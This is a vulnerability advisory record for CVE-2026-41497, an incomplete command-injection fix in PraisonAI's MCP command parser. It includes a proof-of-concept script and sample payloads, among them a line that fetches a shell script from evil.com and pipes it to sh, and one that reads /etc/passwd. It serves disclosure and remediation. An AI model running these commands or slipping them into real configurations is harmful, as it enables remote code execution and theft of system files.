{"id":"CVE-2026-41497","aliases":["GHSA-9qhq-v63v-fv3j","PYSEC-2026-473"],"url":"https://o3.security/vulnerability/CVE-2026-41497","summary":"Incomplete fix for CVE-2026-34935: Command Injection in MervinPraison/PraisonAI","details":"### Summary\n\nThe fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** < 47bff65413be\n- **Patched versions:** >= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c 'import os; os.system(\"id\")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n    \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n    base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n    spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n    mod_base = importlib.util.module_from_spec(spec_base)\n    sys.modules[\"features_base\"] = mod_base\n\n    with open(MCP_PATH) as f:\n        source = f.read()\n\n    source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n    def print_status(self, msg, level=\"info\"):\n        print(f\"[{level}] {msg}\")\n\"\"\")\n\n    ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n    exec(compile(source, MCP_PATH, \"exec\"), ns)\n    return ns[\"MCPHandler\"]\n\n\ndef main():\n    MCPHandler = load_mcp_handler()\n    handler = MCPHandler()\n\n    print(f\"Source file: {MCP_PATH}\")\n    print(f\"Loaded MCPHandler from real PraisonAI source\")\n    print()\n\n    malicious_commands = [\n        \"python -c 'import os; os.system(\\\"id\\\")'\",\n        \"node -e 'require(\\\"child_process\\\").execSync(\\\"whoami\\\")'\",\n        \"bash -c 'cat /etc/passwd'\",\n        \"/bin/sh -c 'wget http://evil.com/shell.sh | sh'\",\n    ]\n\n    print(\"Testing parse_mcp_command with malicious inputs:\")\n    print()\n\n    all_accepted = True\n    for cmd_str in malicious_commands:\n        try:\n            cmd, args, env = handler.parse_mcp_command(cmd_str)\n            print(f\"  Input:   {cmd_str}\")\n            print(f\"  Command: {cmd}\")\n            print(f\"  Args:    {args}\")\n            print(f\"  Result:  ACCEPTED (no validation)\")\n            print()\n        except Exception as e:\n            print(f\"  Input:   {cmd_str}\")\n            print(f\"  Result:  REJECTED ({e})\")\n            all_accepted = False\n            print()\n\n    if all_accepted:\n        print(\"ALL malicious commands accepted without validation!\")\n        print()\n\n        with open(MCP_PATH) as f:\n            source = f.read()\n\n        has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n        has_basename_check = \"os.path.basename\" in source\n        has_validation = has_allowlist or has_basename_check\n\n        print(f\"Has command allowlist: {has_allowlist}\")\n        print(f\"Has basename check: {has_basename_check}\")\n        print(f\"Has any command validation: {has_validation}\")\n        print()\n\n        if not has_validation:\n            print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n            print(\"  - No allowlist of permitted executables\")\n            print(\"  - No argument inspection\")\n            print(\"  - Arbitrary commands passed directly to subprocess execution\")\n            print()\n            print(\"VULNERABILITY CONFIRMED\")\n            sys.exit(0)\n\n    print(\"Some commands were rejected - validation present\")\n    sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real && git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n\nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).","published":"2026-05-08T13:23:36.294Z","modified":"2026-10-28T02:30:58.592889791Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00541,"percentile":0.42765,"asOf":"2026-08-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonai","fixedVersion":"4.5.149"}],"fix":{"url":"https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c","label":"MervinPraison/PraisonAI@47bff65"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41497.json"},{"type":"ADVISORY","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41497"},{"type":"FIX","url":"https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34935"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:58.592889791Z"}}